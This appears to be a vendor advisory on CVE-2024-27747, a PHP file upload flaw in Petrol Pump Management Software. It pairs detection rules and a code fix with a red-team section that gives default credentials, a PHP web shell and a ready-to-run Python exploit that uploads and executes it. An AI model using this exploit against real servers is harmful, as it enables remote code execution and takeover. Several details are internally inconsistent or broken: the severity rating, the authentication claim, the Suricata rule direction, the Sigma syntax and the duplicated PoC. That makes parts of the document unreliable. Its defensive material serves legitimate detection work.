CVE-2024-27747

Executive Summary

CVE-2024-27747 is a critical unauthenticated (or low-privilege) file upload vulnerability in Petrol Pump Management Software v1.0, a PHP-based application from SourceCodester. The flaw resides in the profile.php component, specifically the "Image" parameter, allowing an attacker to upload arbitrary PHP files (e.g., web shells) to the assets/images/ directory. Successful exploitation leads to Remote Code Execution (RCE) on the underlying web server.

The vulnerability is trivial to exploit, with a public Proof of Concept (PoC) available on Exploit-DB and GitHub. No patch exists, and the vendor has not responded. The EPSS score is 0.0%, indicating low current exploitation in the wild, but the ease of exploitation makes it a high-priority target for red teams and threat actors targeting fuel management infrastructure.

Supply Chain & Package Security

This is a custom PHP application, not an NPM/PyPI/Go/Ruby package. No supply chain implications exist beyond the direct download from SourceCodester.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 8.8 (High)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires valid user credentials (default credentials are publicly known).
• User Interaction (UI): None (N) – No victim interaction needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file system read access.
• Integrity (I): High (H) – Full file system write access.
• Availability (A): High (H) – Can delete or overwrite critical files.

Threat Level: Critical. The combination of public exploit code, default credentials, and no patch makes this a high-risk vulnerability for any organization using this software.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The profile.php component accepts an image file via the $_FILES['image'] parameter but fails to validate the file extension, MIME type, or content. The application only checks if the file is an image by its extension (e.g., .jpg, .png), but an attacker can bypass this by appending a valid extension (e.g., shell.php.jpg) or by using a double extension (e.g., shell.php;.jpg). The uploaded file is stored in the assets/images/ directory, which is web-accessible.

The default credentials (mayuri.infospace@gmail.com / admin) are hardcoded in the source code and widely documented, allowing any attacker to gain initial access.

Attack Flow:

1. Attacker navigates to /fuelflow/index.php and logs in with default credentials.
2. Attacker navigates to /fuelflow/admin/profile.php.
3. Attacker uploads a PHP web shell (e.g., shell.php) via the "Image" field.
4. The file is saved to /fuelflow/assets/images/shell.php.
5. Attacker accesses the shell URL to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (profile.php - snippet):

<?php
// No file type validation
$target_dir = "assets/images/";
$target_file = $target_dir . basename($_FILES["image"]["name"]);
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
?>

Patched Code (recommended):

<?php
$target_dir = "assets/images/";
$target_file = $target_dir . basename($_FILES["image"]["name"]);
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["image"]["tmp_name"]);
if($check !== false) {
    // Allow only specific image formats
    if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) {
        echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    } else {
        // Rename file to prevent path traversal and overwrite
        $new_filename = uniqid() . "." . $imageFileType;
        $target_file = $target_dir . $new_filename;
        move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
    }
} else {
    echo "File is not an image.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Petrol Pump Management Software v1.0.
• Network access to the web interface.
• Default credentials: mayuri.infospace@gmail.com / admin.

Exploit Steps (using the provided Exploit-DB code):

1. Login: Access http://<target>/fuelflow/index.php and authenticate.
2. Navigate: Go to http://<target>/fuelflow/admin/profile.php.
3. Upload: Create a PHP web shell (e.g., cmd.php):

   <?php system($_GET['cmd']); ?>
   

4. Upload via Browser: Use the "Image" field to upload cmd.php.
5. Execute: Access http://<target>/fuelflow/assets/images/cmd.php?cmd=id.

Full Exploit-DB Code (for reference):

# Exploit Title: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27747
# Description: File Upload vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email Image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the phpinfo.php file in "Image" field
5. Phpinfo will be present in "
http://localhost/fuelflow/assets/images/phpinfo.php" page
6. The content of phpinfo.php file is given below:
<?php phpinfo();?>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27747.md

Automated Exploitation (Python):

import requests

target = "http://<target>/fuelflow"
session = requests.Session()

# Login
login_data = {"email": "mayuri.infospace@gmail.com", "password": "admin"}
session.post(f"{target}/index.php", data=login_data)

# Upload shell
files = {"image": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
session.post(f"{target}/admin/profile.php", files=files)

# Execute command
r = session.get(f"{target}/assets/images/shell.php?cmd=id")
print(r.text)

Blue Team

Detection & Response:

1. Monitor File Uploads: Alert on any file upload to profile.php with non-image extensions (.php, .phtml, .php5).
2. Web Application Firewall (WAF): Block uploads containing <?php or <?= in the file content.
3. File Integrity Monitoring (FIM): Monitor the assets/images/ directory for new .php files.
4. Log Analysis: Look for POST requests to /fuelflow/admin/profile.php followed by GET requests to /fuelflow/assets/images/*.php.
5. Honeypot: Deploy a fake profile.php that logs all upload attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• POST request to /fuelflow/admin/profile.php with Content-Type: multipart/form-data and a file named *.php.
• GET request to /fuelflow/assets/images/*.php with a cmd parameter.

File System IOCs:

• Unexpected .php files in /fuelflow/assets/images/.
• Web shells with common names: cmd.php, shell.php, phpinfo.php, r57.php, c99.php.

Behavioral IOCs:

• Login with default credentials (mayuri.infospace@gmail.com).
• Rapid succession of POST (upload) and GET (execution) requests.

Detection Engineering

YARA Rule

rule CVE_2024_27747_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-27747"
        author = "Valters IT"
        date = "2024-03-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27747"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
        $cmd_param = "$_GET['cmd']"
        $post_param = "$_POST['cmd']"
    condition:
        $php_tag and any of ($system_func, $shell_exec, $exec_func, $passthru) and any of ($cmd_param, $post_param)
}

Sigma Rule

title: CVE-2024-27747 - Petrol Pump Management Software File Upload RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-27747 via file upload to profile.php
author: Valters IT
date: 2024/03/01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-stem: '/fuelflow/admin/profile.php'
        cs-content-type: 'multipart/form-data*'
    selection_exec:
        cs-method: 'GET'
        cs-uri-stem: '/fuelflow/assets/images/*.php'
        cs-uri-query: 'cmd=*'
    condition: selection_upload followed by selection_exec within 60 seconds
falsepositives:
    - Legitimate admin uploading images (unlikely with .php extension)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27747 - Petrol Pump Management Software File Upload RCE"; flow:to_server,established; content:"POST"; http_method; content:"/fuelflow/admin/profile.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/\.php(?:\?|$)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Change default credentials immediately.
3. Apply a virtual patch using a WAF to block file uploads with .php extensions.
4. Restrict write permissions on the assets/images/ directory to prevent execution of PHP files (e.g., via .htaccess):

   <FilesMatch "\.php$">
       Order Deny,Allow
       Deny from all
   </FilesMatch>
   

Long-Term Fix:

• Vendor Patch: No patch available. Consider migrating to a different, actively maintained fuel management solution.
• Code Hardening: Implement the patched code snippet provided in the "Vulnerable vs. Patched Code" section.
• Input Validation: Validate file extension, MIME type, and content (using getimagesize()).
• File Renaming: Rename uploaded files to a random string to prevent direct access.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for all file uploads and web shell access attempts.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 98B77934F1158AC1F21145D5] */}

# Exploit Title: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27747
# Description: File Upload vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email Image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the phpinfo.php file in "Image" field
5. Phpinfo will be present in "
http://localhost/fuelflow/assets/images/phpinfo.php" page
6. The content of phpinfo.php file is given below:
<?php phpinfo();?>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27747.md